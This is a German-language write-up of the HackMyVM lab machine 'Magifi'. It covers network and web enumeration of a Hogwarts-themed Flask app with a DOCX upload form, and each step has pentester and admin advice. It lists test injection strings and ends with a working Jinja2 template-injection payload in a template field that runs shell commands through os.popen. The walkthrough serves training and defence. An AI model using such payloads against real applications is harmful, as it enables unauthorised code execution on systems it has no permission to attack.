Magifi - HackMyVM - Hard - Bericht

Hard

Verwendete Tools

Shell Script (recon_script.sh)
arp-scan
echo
nmap
grep
curl
nikto
gobuster
python3
nc (netcat)
wget
chmod
mv
pwd
ls
cat
ssh
sudo
find
hostapd-mana
john

Inhaltsverzeichnis

Reconnaissance

 2245  X=$(./recon_script.sh jenk.nyx)
 2246  echo $X


:::::::::::::::::::::::::::::::::: ARP-Scan ::::::::::::::::::::::::::::::::


Interface: eth0, type: EN10MB, MAC: 08:00:27:ee:49:a2, IPv4: 192.168.2.199
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.2.1	38:e1:f4:22:ac:ac	(Unknown)
192.168.2.30	8c:98:06:22:c3:49	SHENZHEN SEI ROBOTICS CO.,LTD
192.168.2.31	bc:f8:7e:ac:41:00	(Unknown)
192.168.2.32	80:47:86:96:f6:3a	Samsung Electronics Co.,Ltd
192.168.2.120	84:25:19:2f:66:32	Samsung Electronics
192.168.2.161	08:bf:b8:c1:fd:13	(Unknown)
192.168.2.175	08:00:27:b0:dd:16	PCS Systemtechnik GmbH


::::::::::::::::::::: /etc/hosts :::::::::::::::::::

                192.168.2.159   warzone1.vln
                192.168.2.160   dc9.vln
        #       192.168.2.161   dc2.vln dc-2
                192.168.2.162   buster.hmv
        #       192.168.2.163	dc1.vln
                192.168.2.164   smol.hmv www.smol.hmv
                192.168.2.165   plpl.hmv
                192.168.2.167   jan.hmv
        #       192.168.2.166   dc6.vln wordy
        #       192.168.2.168	sick.vln
        #       192.168.2.169	sick.vln
        #       192.168.2.170	sick.vln
                192.168.2.171   hero.hmv hero
                192.168.2.172   up.hmv
        #       192.168.2.173	sick.vln
        #       192.168.2.174	sick.vln
                192.168.2.175   magifi.hmv
                    

Analyse: Dieser Block zeigt die Ausführung eines benutzerdefinierten Skripts namens `recon_script.sh`. Der Inhalt des Skripts ist nicht sichtbar, aber seine Ausgabe wird in der Variable `X` gespeichert und dann mit `echo $X` angezeigt. Die Ausgabe enthält:

Das Skript scheint also eine Kombination aus Netzwerkscan und lokaler Konfigurationsanzeige durchzuführen, um das Zielsystem zu identifizieren und dessen Namen zu bestätigen. Die Ziel-IP ist `192.168.2.175` und der zugehörige Hostname ist `magifi.hmv`.

Bewertung: Die Verwendung eines Skripts zur Automatisierung der initialen Reconnaissance ist effizient. `arp-scan` ist gut geeignet für die schnelle Host-Entdeckung im LAN. Die Überprüfung der `/etc/hosts`-Datei stellt sicher, dass der richtige Hostname für das Ziel verwendet wird. Die Ziel-IP und der Hostname sind nun klar: `192.168.2.175` (`magifi.hmv`).

Empfehlung (Pentester): Verwenden Sie die identifizierte IP-Adresse `192.168.2.175` (oder die Variable `$IP`, falls sie im Skript gesetzt wurde) für weitere Scans. Stellen Sie sicher, dass der Eintrag `192.168.2.175 magifi.hmv` in der `/etc/hosts`-Datei korrekt ist und nicht auskommentiert wurde.
Empfehlung (Admin): Standardempfehlungen für ARP-Scan (Netzwerk-Monitoring, Inventarliste). Stellen Sie sicher, dass die Namensauflösung im Netzwerk konsistent ist (idealerweise über einen zentralen DNS-Server).

┌──(root㉿CCat)-[~] └─# nmap -sS -sC -sV -AO -p- $IP -Pn --min-rate 5000 | grep open
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Werkzeug/3.0.4 Python/3.8.10
                     

Analyse: Dieser Nmap-Befehl scannt die Ziel-IP (`$IP` = 192.168.2.175).

Die Ausgabe zeigt zwei offene Ports:

Bewertung: Der Scan identifiziert erfolgreich die primären Angriffsvektoren: SSH und einen HTTP-Dienst, der von einer Python-Anwendung bereitgestellt wird. Die Verwendung von `-Pn` war hier notwendig, da der Host möglicherweise nicht auf Pings reagiert. Die hohe Rate (`--min-rate 5000`) beschleunigt den Scan erheblich, kann aber ungenau sein oder von IDS/IPS erkannt werden.

Empfehlung (Pentester): Untersuchen Sie den HTTP-Dienst auf Port 80 genauer (Web-Enumeration, Schwachstellen-Scan). Überprüfen Sie die SSH-Version auf bekannte Schwachstellen und bereiten Sie sich auf mögliche Brute-Force-Angriffe vor, falls Benutzernamen bekannt werden.
Empfehlung (Admin): Stellen Sie sicher, dass SSH sicher konfiguriert ist (aktuelle Version, Key-Authentifizierung bevorzugt, Passwort-Auth deaktivieren oder mit starken Passwörtern/Fail2Ban absichern). Überprüfen Sie die Sicherheit der Python-Webanwendung auf Port 80 und halten Sie verwendete Bibliotheken (wie Werkzeug) aktuell.

┌──(root㉿CCat)-[~] └─# nmap -sS -sC -sV -AO -p- $IP -Pn --min-rate 5000
Starting Nmap 7.94SVN ( [Link: https://nmap.org | Ziel: https://nmap.org] ) at 2025-02-12 21:07 CET
Nmap scan report for magifi.hmv (192.168.2.175)
Host is up (0.0013s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 0c:c6:d6:24:1e:5b:9e:66:25:0a:ba:0a:08:0b:18:40 (RSA)
|   256 9c:c3:1d:ea:22:04:93:b7:81:dd:f2:96:5d:f0:1f:9b (ECDSA)
|_  256 55:41:15:90:ff:1d:53:88:e7:65:91:4f:fd:cf:49:85 (ED25519)
80/tcp open  http    Werkzeug/3.0.4 Python/3.8.10
|_http-server-header: Werkzeug/3.0.4 Python/3.8.10
|_http-title: Did not follow redirect to http://hogwarts.htb
| fingerprint-strings: 
|   GetRequest, HTTPOptions: 
|     HTTP/1.1 302 FOUND
|     Server: Werkzeug/3.0.4 Python/3.8.10
|     Date: Wed, 12 Feb 2025 20:07:41 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 225
|     Location: http://hogwarts.htb
|     Connection: close
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at [Link: https://nmap.org/cgi-bin/submit.cgi?new-service | Ziel: https://nmap.org/cgi-bin/submit.cgi?new-service] :
MAC Address: 08:00:27:B0:DD:16 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   1.30 ms magifi.hmv (192.168.2.175)

OS and Service detection performed. Please report any incorrect results at [Link: https://nmap.org/submit/ | Ziel: https://nmap.org/submit/] .
Nmap done: 1 IP address (1 host up) scanned in 92.30 seconds
                    

Analyse: Dies ist die vollständige Ausgabe des vorherigen Nmap-Scans (ohne `| grep open`). Wichtige zusätzliche Details:

Bewertung: Der Scan liefert kritische Informationen. Die Weiterleitung auf `http://hogwarts.htb` ist der wichtigste neue Fund. Es bedeutet, dass die eigentliche Webanwendung unter diesem Hostnamen läuft und nicht direkt über die IP-Adresse oder `magifi.hmv` erreichbar ist. OpenSSH 8.2p1 ist nicht die neueste Version, hat aber bekannte Schwachstellen (wie später im Vuln-Scan gesehen).

Empfehlung (Pentester): Fügen Sie den Eintrag `192.168.2.175 hogwarts.htb` zur lokalen `/etc/hosts`-Datei hinzu. Starten Sie die Web-Enumeration (Nikto, Gobuster etc.) nun gegen `http://hogwarts.htb`. Untersuchen Sie die OpenSSH-Version 8.2p1 auf bekannte Exploits (z.B. CVE-2023-38408).
Empfehlung (Admin): Stellen Sie sicher, dass Weiterleitungen korrekt konfiguriert sind und nicht auf interne oder unerwartete Hosts verweisen. Aktualisieren Sie OpenSSH auf eine gepatchte Version. Überprüfen Sie die Notwendigkeit des Hostnamens `hogwarts.htb` und sichern Sie die darunter laufende Anwendung.

Web Enumeration

┌──(root㉿CCat)-[~] └─# curl -Iv http://$IP
*   Trying 192.168.2.175:80...
* Connected to 192.168.2.175 (192.168.2.175) port 80
* using HTTP/1.x
> HEAD / HTTP/1.1
> Host: 192.168.2.175
> User-Agent: curl/8.10.1
> Accept: */*
> 
* Request completely sent off
< HTTP/1.1 302 FOUND
HTTP/1.1 302 FOUND
< Server: Werkzeug/3.0.4 Python/3.8.10
Server: Werkzeug/3.0.4 Python/3.8.10
< Date: Wed, 12 Feb 2025 20:09:30 GMT
Date: Wed, 12 Feb 2025 20:09:30 GMT
< Content-Type: text/html; charset=utf-8
Content-Type: text/html; charset=utf-8
< Content-Length: 225
Content-Length: 225
< Location: http://hogwarts.htb
Location: http://hogwarts.htb
< Connection: close
Connection: close
< 

* shutting down connection #0
                    

Analyse: Der Befehl `curl -Iv http://$IP` sendet eine HEAD-Anfrage (`-I`) an die IP-Adresse des Ziels und zeigt die Header der Antwort (`-v`). Die Ausgabe bestätigt die von Nmap festgestellte Weiterleitung: Der Server antwortet mit `HTTP/1.1 302 FOUND` und einem `Location`-Header, der auf `http://hogwarts.htb` verweist.

Bewertung: Dies bestätigt, dass der direkte Zugriff auf die IP-Adresse zu einer Weiterleitung führt. Die eigentliche Webanwendung muss über den Hostnamen `hogwarts.htb` angesprochen werden.

Empfehlung (Pentester): Stellen Sie sicher, dass `hogwarts.htb` in der `/etc/hosts`-Datei auf `192.168.2.175` verweist, und führen Sie alle weiteren Web-Scans gegen `http://hogwarts.htb` durch.
Empfehlung (Admin): Überprüfen Sie die Konfiguration des Webservers (z.B. Apache oder Nginx VHost-Konfiguration, oder die Python-Anwendung selbst), um sicherzustellen, dass diese Weiterleitung beabsichtigt ist und korrekt funktioniert.

- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.175
+ Target Hostname:    192.168.2.175
+ Target Port:        80
+ Start Time:         2025-02-12 21:09:31 (GMT1)
---------------------------------------------------------------------------
+ Server: Werkzeug/3.0.4 Python/3.8.10
+ /: The anti-clickjacking X-Frame-Options header is not present. See: [Link: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options | Ziel: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options]
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: [Link: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ | Ziel: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/]
+ Root page / redirects to: http://hogwarts.htb
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Python/3.8.10 appears to be outdated (current is at least 3.9.6).
+ 8102 requests: 0 error(s) and 3 item(s) reported on remote host
+ End Time:           2025-02-12 21:10:10 (GMT1) (39 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
                    

Analyse: Diese Ausgabe stammt von einem Nikto-Scan, der direkt gegen die IP-Adresse `192.168.2.175` ausgeführt wurde (ohne Angabe des Hostnamens `hogwarts.htb`). Wichtige Funde:

Bewertung: Der Scan gegen die IP-Adresse liefert aufgrund der Weiterleitung nur begrenzte Informationen über die eigentliche Anwendung. Die Hinweise auf fehlende Security Header und die veraltete Python-Version sind jedoch relevant. Python 3.8 ist das Ende seines Lebenszyklus nahe oder hat es bereits erreicht, was potenzielle Sicherheitsrisiken birgt.

Empfehlung (Pentester): Führen Sie Nikto erneut aus, diesmal gegen `http://hogwarts.htb` (`nikto -h http://hogwarts.htb`), um die eigentliche Anwendung zu scannen, nachdem der `/etc/hosts`-Eintrag gesetzt wurde. Berücksichtigen Sie die potenziell veraltete Python-Version bei der Suche nach Schwachstellen.
Empfehlung (Admin): Implementieren Sie die fehlenden Security Header (`X-Frame-Options`, `X-Content-Type-Options`). Planen Sie ein Upgrade der Python-Version auf eine aktuell unterstützte Version (z.B. 3.9+). Stellen Sie sicher, dass alle Abhängigkeiten der Anwendung (wie Werkzeug) ebenfalls aktuell sind.

┌──(root㉿CCat)-[~] └─# gobuster dir -u "http://$IP" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml -b '503,404,403' -e --no-error -k
[Keine Gobuster-Ausgabe gezeigt, außer dem späteren Hinweis auf /upload]
                     

Analyse: Dieser Gobuster-Befehl versucht, Verzeichnisse und Dateien auf der IP-Adresse (`http://$IP`) zu bruteforcen. Die Optionen sind ähnlich wie zuvor (mittlere Wortliste, viele Erweiterungen), aber zusätzlich wird der Statuscode 403 ignoriert (`-b '503,404,403'`). Es wird keine direkte Ausgabe des Scans gezeigt, aber ein späterer Kommentar im Originaltext deutet darauf hin, dass bei einem Scan gegen `http://hogwarts.htb` der Pfad `/upload` mit Status 405 (Method Not Allowed) gefunden wurde.

Bewertung: Ein Gobuster-Scan direkt gegen die IP-Adresse ist aufgrund der Weiterleitung auf `hogwarts.htb` wahrscheinlich wenig effektiv. Der spätere Fund von `/upload` auf `hogwarts.htb` ist jedoch relevant. Ein Status 405 deutet darauf hin, dass der Pfad existiert, aber die verwendete HTTP-Methode (standardmäßig GET bei Gobuster `dir`) nicht erlaubt ist. Dies ist oft bei Endpunkten der Fall, die nur POST-Anfragen (z.B. für Uploads) akzeptieren.

Empfehlung (Pentester): Führen Sie Gobuster gegen `http://hogwarts.htb` aus. Wenn Pfade wie `/upload` mit 405 gefunden werden, testen Sie diese explizit mit anderen HTTP-Methoden (z.B. POST mit `curl -X POST` oder in Burp Suite).
Empfehlung (Admin): Stellen Sie sicher, dass Webserver und Anwendungen korrekte HTTP-Statuscodes zurückgeben. Beschränken Sie den Zugriff auf Endpunkte wie Upload-Pfade auf authentifizierte und autorisierte Benutzer.

http://hogwarts.htb/upload               (Status: 405) [Size: 153]
                     

Analyse: Dies ist die (vermutlich aus einem Gobuster-Scan gegen `http://hogwarts.htb` stammende) Information, dass der Pfad `/upload` existiert, aber auf GET-Anfragen mit dem Statuscode 405 (Method Not Allowed) antwortet.

Bewertung: Bestätigt die Existenz eines Upload-Endpunkts. Der 405-Status ist ein starker Hinweis darauf, dass hier POST-Anfragen erwartet werden, was typisch für Datei-Uploads ist.

Empfehlung (Pentester): Untersuchen Sie den `/upload`-Endpunkt manuell mit einem Browser oder Tools wie Burp Suite. Senden Sie eine POST-Anfrage, um zu sehen, ob ein Upload-Formular angezeigt wird oder wie der Endpunkt reagiert. Suchen Sie nach Hinweisen auf erlaubte Dateitypen oder Größenbeschränkungen.
Empfehlung (Admin): Sichern Sie den `/upload`-Endpunkt. Implementieren Sie Authentifizierung, Autorisierung und strikte Dateityp-/Größenvalidierung, wie zuvor bei Upload-Funktionen empfohlen.

┌──(root㉿CCat)-[~] └─# nmap -sV -A --script vuln 192.168.2.144 -T5
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| vulners: 
|   cpe:/a:openbsd:openssh:8.2p1: 
|     	95499236-C9FE-56A6-9D7D-E943A24B633A	10.0	[Link: https://vulners.com/githubexploit/95499236-C9FE-56A6-9D7D-E943A24B633A | Ziel: https://vulners.com/githubexploit/95499236-C9FE-56A6-9D7D-E943A24B633A]	*EXPLOIT*
|     	2C119FFA-ECE0-5E14-A4A4-354A2C38071A	10.0	[Link: https://vulners.com/githubexploit/2C119FFA-ECE0-5E14-A4A4-354A2C38071A | Ziel: https://vulners.com/githubexploit/2C119FFA-ECE0-5E14-A4A4-354A2C38071A]	*EXPLOIT*
|     	CVE-2023-38408	9.8	[Link: https://vulners.com/cve/CVE-2023-38408 | Ziel: https://vulners.com/cve/CVE-2023-38408]
|     	B8190CDB-3EB9-5631-9828-8064A1575B23	9.8	[Link: https://vulners.com/githubexploit/B8190CDB-3EB9-5631-9828-8064A1575B23 | Ziel: https://vulners.com/githubexploit/B8190CDB-3EB9-5631-9828-8064A1575B23]	*EXPLOIT*
|     	8FC9C5AB-3968-5F3C-825E-E8DB5379A623	9.8	[Link: https://vulners.com/githubexploit/8FC9C5AB-3968-5F3C-825E-E8DB5379A623 | Ziel: https://vulners.com/githubexploit/8FC9C5AB-3968-5F3C-825E-E8DB5379A623]	*EXPLOIT*
|     	8AD01159-548E-546E-AA87-2DE89F3927EC	9.8	[Link: https://vulners.com/githubexploit/8AD01159-548E-546E-AA87-2DE89F3927EC | Ziel: https://vulners.com/githubexploit/8AD01159-548E-546E-AA87-2DE89F3927EC]	*EXPLOIT*
|     	887EB570-27D3-11EE-ADBA-C80AA9043978	9.8	[Link: https://vulners.com/freebsd/887EB570-27D3-11EE-ADBA-C80AA9043978 | Ziel: https://vulners.com/freebsd/887EB570-27D3-11EE-ADBA-C80AA9043978]
|     	5E6968B4-DBD6-57FA-BF6E-D9B2219DB27A	9.8	[Link: https://vulners.com/githubexploit/5E6968B4-DBD6-57FA-BF6E-D9B2219DB27A | Ziel: https://vulners.com/githubexploit/5E6968B4-DBD6-57FA-BF6E-D9B2219DB27A]	*EXPLOIT*
|     	33D623F7-98E0-5F75-80FA-81AA666D1340	9.8	[Link: https://vulners.com/githubexploit/33D623F7-98E0-5F75-80FA-81AA666D1340 | Ziel: https://vulners.com/githubexploit/33D623F7-98E0-5F75-80FA-81AA666D1340]	*EXPLOIT*
|     	0221525F-07F5-5790-912D-F4B9E2D1B587	9.8	[Link: https://vulners.com/githubexploit/0221525F-07F5-5790-912D-F4B9E2D1B587 | Ziel: https://vulners.com/githubexploit/0221525F-07F5-5790-912D-F4B9E2D1B587]	*EXPLOIT*
|     	PACKETSTORM:179290	8.1	[Link: https://vulners.com/packetstorm/PACKETSTORM:179290 | Ziel: https://vulners.com/packetstorm/PACKETSTORM:179290]	*EXPLOIT*
|     	FB2E9ED1-43D7-585C-A197-0D6628B20134	8.1	[Link: https://vulners.com/githubexploit/FB2E9ED1-43D7-585C-A197-0D6628B20134 | Ziel: https://vulners.com/githubexploit/FB2E9ED1-43D7-585C-A197-0D6628B20134]	*EXPLOIT*
|     	FA3992CE-9C4C-5350-8134-177126E0BD3F	8.1	[Link: https://vulners.com/githubexploit/FA3992CE-9C4C-5350-8134-177126E0BD3F | Ziel: https://vulners.com/githubexploit/FA3992CE-9C4C-5350-8134-177126E0BD3F]	*EXPLOIT*
|     	F8981437-1287-5B69-93F1-657DFB1DCE59	8.1	[Link: https://vulners.com/githubexploit/F8981437-1287-5B69-93F1-657DFB1DCE59 | Ziel: https://vulners.com/githubexploit/F8981437-1287-5B69-93F1-657DFB1DCE59]	*EXPLOIT*
|     	F58A5CB2-2174-586F-9CA9-4C47F8F38B5E	8.1	[Link: https://vulners.com/githubexploit/F58A5CB2-2174-586F-9CA9-4C47F8F38B5E | Ziel: https://vulners.com/githubexploit/F58A5CB2-2174-586F-9CA9-4C47F8F38B5E]	*EXPLOIT*
80/tcp open  http    Werkzeug/3.0.4 Python/3.8.10
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-server-header: Werkzeug/3.0.4 Python/3.8.10
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| fingerprint-strings: 
|   GetRequest, HTTPOptions: 
|     HTTP/1.1 302 FOUND
|     Server: Werkzeug/3.0.4 Python/3.8.10
|     Date: Wed, 12 Feb 2025 20:10:56 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 225
|     Location: http://hogwarts.htb
|     Connection: close
|     http-slowloris-check: 
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|       
|     Disclosure date: 2009-09-17
|     References:
|       http://ha.ckers.org/slowloris/
|_      [Link: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750 | Ziel: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750]

Starting Nmap 7.94SVN ( [Link: https://nmap.org | Ziel: https://nmap.org] ) at 2025-02-12 21:10 CET
Pre-scan script results:
| broadcast-avahi-dos: 
|   Discovered hosts:
|     224.0.0.251
|   After NULL UDP avahi packet DoS (CVE-2011-1002).
|_  Hosts are all up (not vulnerable).
                     

Analyse: Dieser Nmap-Scan ist mit `--script vuln` auf die **IP-Adresse 192.168.2.144** gerichtet, nicht auf das bisherige Ziel `192.168.2.175`. Es ist unklar, warum hier eine andere IP gescannt wird. Möglicherweise ein Fehler im Log oder ein paralleler Scan einer anderen Maschine. Die Ergebnisse für Port 22 (SSH) und Port 80 (HTTP) ähneln jedoch stark denen von `192.168.2.175`.

Die Pre-Scan-Skripte (Avahi DoS) zeigen keine Verwundbarkeit.

Bewertung: **Wichtige Schwachstellen identifiziert!** Auch wenn der Scan gegen eine potenziell falsche IP lief, sind die Ergebnisse (insbesondere wenn sie auch auf 192.168.2.175 zutreffen) sehr relevant:

Empfehlung (Pentester): Überprüfen Sie die SSH-Schwachstellen (insbesondere CVE-2023-38408) für OpenSSH 8.2p1 auf dem korrekten Ziel (`192.168.2.175`). Recherchieren und testen Sie die verfügbaren Exploits. Die Slowloris-Anfälligkeit kann für einen DoS-Angriff genutzt werden, was aber normalerweise nicht das primäre Ziel eines Penetrationstests ist, es sei denn, die Auswirkungen auf die Verfügbarkeit sollen demonstriert werden.
Empfehlung (Admin): **Aktualisieren Sie OpenSSH dringend** auf eine Version, die gegen CVE-2023-38408 und andere bekannte Schwachstellen gepatcht ist. Konfigurieren Sie den Webserver (Werkzeug/Apache/Nginx), um Slowloris-Angriffe zu mitigieren (z.B. durch Begrenzung der Verbindungen pro IP, Timeout-Anpassungen, Verwendung von Modulen wie `mod_reqtimeout` für Apache).

view-source:http://hogwarts.htb/
                     

Analyse: Der Pentester beabsichtigt, den Quelltext der Hauptseite von `http://hogwarts.htb` anzusehen. Der Inhalt wird im nächsten Block gezeigt.

Bewertung: Das Untersuchen des HTML-Quellcodes ist ein grundlegender Schritt bei der Web-Enumeration, um versteckte Felder, Kommentare, Skript-Pfade oder Hinweise auf verwendete Technologien zu finden.

Empfehlung (Pentester): Analysieren Sie den Quellcode sorgfältig auf interessante Informationen, insbesondere auf Formulare, JavaScript-Dateien und Kommentare.
Empfehlung (Admin): Vermeiden Sie es, sensible Informationen (wie Kommentare mit Zugangsdaten, interne Pfade etc.) im HTML-Quellcode zu hinterlassen.

            <!-- Add more professors as needed in the same format -->

            <h3>What You Will Learn at Hogwarts</h3>
            <ul>
                <li>Transfiguration: The art of changing the form or appearance of an object or being.</li>
                <li>Charms: The casting of spells that add specific properties to objects and creatures.</li>
                <li>Potions: The study of magical brews that can have a variety of effects, from healing to transformation.</li>
                <li>Herbology: The study of magical plants and fungi.</li>
                <li>Defense Against the Dark Arts: Learning to protect oneself from dark creatures, curses, and spells.</li>
                <li>Astronomy: The study of the stars, planets, and their magical influences.</li>
                <li>History of Magic: A look at the history of the magical world, from the earliest wizards to modern-day events.</li>
                <li>Divination: The mystical art of predicting the future.</li>
                <li>Care of Magical Creatures: Learning about the care, handling, and feeding of magical creatures.</li>
            </ul>

 Apply to Hogwarts 
hier ist ein upload Formular
     action="/upload" method="POST" enctype="multipart/form-data" 
                <label for="pdf_file">Submit your application in PDF format:<br><br> 
   href="/static/application-template.docx" download>Please, use our template </label><br><br>
                     

Analyse: Dies ist ein relevanter Auszug aus dem HTML-Quellcode von `http://hogwarts.htb/`.

Der Kommentar "hier ist ein upload Formular" stammt vom Pentester.

Bewertung: Dies bestätigt die Existenz einer Datei-Upload-Funktionalität unter `/upload`. Die Diskrepanz zwischen der Aufforderung (PDF) und der bereitgestellten Vorlage (DOCX) ist interessant, könnte aber einfach ein Fehler sein. Entscheidend ist, dass es eine Upload-Möglichkeit gibt.

Empfehlung (Pentester): Untersuchen Sie das Upload-Formular genauer. Welche Felder gibt es? Gibt es clientseitige Validierungen (die oft umgangen werden können)? Versuchen Sie, verschiedene Dateitypen hochzuladen (nicht nur PDF oder DOCX), insbesondere Skriptdateien (PHP, Python, Shell), um zu sehen, ob der Server diese akzeptiert und ob sie ausgeführt werden können. Analysieren Sie die Serverantwort nach dem Upload.
Empfehlung (Admin): Implementieren Sie serverseitig eine strikte Whitelist-Validierung für erlaubte Dateitypen und -inhalte bei Uploads. Speichern Sie hochgeladene Dateien sicher (außerhalb des Web-Roots oder ohne Ausführungsrechte) und benennen Sie sie um. Scannen Sie Uploads auf Malware.

------------------------------------------------------------------------- 
Apply to Hogwarts
Submit your application in PDF format:

Please, use our template

[Durchsuchen]
 
------------------------------------------------------------------------- 
                     

Analyse: Dies scheint eine textuelle Darstellung des Upload-Formulars zu sein, wie es im Browser angezeigt wird.

Bewertung: Bestätigt das Vorhandensein des Formulars und des Upload-Buttons ("Durchsuchen").

Empfehlung (Pentester): Interagieren Sie mit dem Formular, laden Sie Testdateien hoch und analysieren Sie die Anfragen/Antworten mit einem Proxy wie Burp Suite.
Empfehlung (Admin): Siehe vorherige Empfehlung zur Absicherung von Uploads.

[Link: https://xodo.com/docx-word-editor?step=edit-docx#app | Ziel: https://xodo.com/docx-word-editor?step=edit-docx#app]
                     

Analyse: Ein Link zu einem Online-DOCX-Editor (xodo.com).

Bewertung: Dies ist wahrscheinlich eine Notiz des Pentesters, wie er die heruntergeladene DOCX-Vorlage bearbeiten kann. Es ist für den technischen Ablauf des Angriffs nicht direkt relevant.

Empfehlung (Pentester): Keine spezifische Aktion erforderlich. Bearbeiten Sie die Vorlage mit einem geeigneten Tool.
Empfehlung (Admin): Keine.

Application Letter to Hogwarts School of Witchcraft and Wizardry
Dear Headmaster or Headmistress,

I am writing to express my strong interest in applying for admission to Hogwarts School of Witchcraft and Wizardry. From a very young age, I have been fascinated by the magical world, and I believe that Hogwarts is the ideal place for me to develop my skills and knowledge in magic. I am eager to learn and grow under the guidance of the esteemed professors at your prestigious institution.

Throughout my life, I have demonstrated qualities such as curiosity, perseverance, and a deep desire to learn. I am particularly interested in subjects such as Charms, Potions, and Defense Against the Dark Arts, and I am confident that Hogwarts will provide me with the perfect environment to explore these interests.

I am excited about the opportunity to become a part of the rich tradition and community at Hogwarts, and I hope that my application will be considered for the upcoming academic year. I have enclosed all required documents and would be grateful for your consideration.

Thank you for your time and consideration. I look forward to the possibility of joining Hogwarts and contributing to its legacy of excellence.

Yours sincerely,

Name: [Your Name]
Surname: [Your Surname]
Address: [Your Address]
Birthday: [Your Birthday]
Pet breed: [Your Pets Breed]
Pet’s Name: [Your Pets Name]
------------------------------------------------------------------------- 
                     

Analyse: Dies ist der Inhalt der heruntergeladenen DOCX-Vorlage (`application-template.docx`). Es ist ein Bewerbungsschreiben an Hogwarts mit Platzhaltern für persönliche Daten am Ende.

Bewertung: Die Vorlage selbst scheint harmlos. Interessant sind die Felder am Ende, die ausgefüllt werden müssen. Es ist möglich, dass die Anwendung diese Felder beim Verarbeiten des hochgeladenen Dokuments (auch wenn PDF gefordert war, wird vielleicht DOCX verarbeitet) ausliest und weiterverarbeitet. Solche Felder könnten potenzielle Injektionspunkte sein (z.B. für Cross-Site Scripting (XSS), Server-Side Template Injection (SSTI), oder sogar OS Command Injection, wenn die Daten unsicher verarbeitet werden).

Empfehlung (Pentester): Füllen Sie die Felder in der Vorlage nicht nur mit normalen Daten, sondern auch mit Test-Payloads für verschiedene Schwachstellen (z.B. `<script>alert(1)</script>` für XSS, `{{ 7*7 }}` für SSTI, `| ls` oder `; ls` für Command Injection). Speichern Sie die Datei (ggf. als PDF, wenn das Format serverseitig doch geprüft wird) und laden Sie sie über das Formular hoch. Beobachten Sie die Antwort und das Verhalten der Anwendung.
Empfehlung (Admin): Wenn Daten aus hochgeladenen Dokumenten (DOCX, PDF etc.) extrahiert und verarbeitet werden, müssen diese Daten genauso streng validiert und sanitisiert werden wie jede andere Benutzereingabe. Verwenden Sie sichere Bibliotheken zur Verarbeitung von Dokumenten und vermeiden Sie unsichere Funktionen.

  SSTI Python Attack  

ssti github
[Link: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection | Ziel: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection]
                     

Analyse: Eine Notiz des Pentesters, die auf Server-Side Template Injection (SSTI) als potenziellen Angriffsvektor hinweist, insbesondere im Kontext von Python (da der Server Werkzeug/Python verwendet). Ein Link zu einer bekannten Payload-Sammlung auf GitHub wird angegeben.

Bewertung: SSTI ist eine kritische Schwachstelle, die oft zu Remote Code Execution führt. Wenn die Anwendung Benutzereingaben (wie die Felder aus dem DOCX-Template) in eine Template-Engine (wie Jinja2, die oft mit Flask/Werkzeug verwendet wird) einfügt, ohne sie korrekt zu escapen, kann ein Angreifer versuchen, Code innerhalb der Template-Syntax auszuführen.

Empfehlung (Pentester): Testen Sie die Felder im Upload-Dokument gezielt auf SSTI, wie im nächsten Block gezeigt.
Empfehlung (Admin): Stellen Sie sicher, dass alle Benutzereingaben, die in Templates gerendert werden, ordnungsgemäß kontextabhängig escaped werden. Verwenden Sie sichere Standardeinstellungen der Template-Engine und vermeiden Sie unsichere Konstrukte.

Name: [{{ self.__init__.__globals__.__builtins__.__import__("os").popen("chmod 777 ben.txt;mv ben.txt ben.sh; ls -la").read() }}]
Surname: [Your Surname]
Address: [Your Address]
Birthday: [Your Birthday]
Pet breed: [Your Pets Breed]
Pet’s Name: [ben]
------------------------------------------------------------------------- 
                     

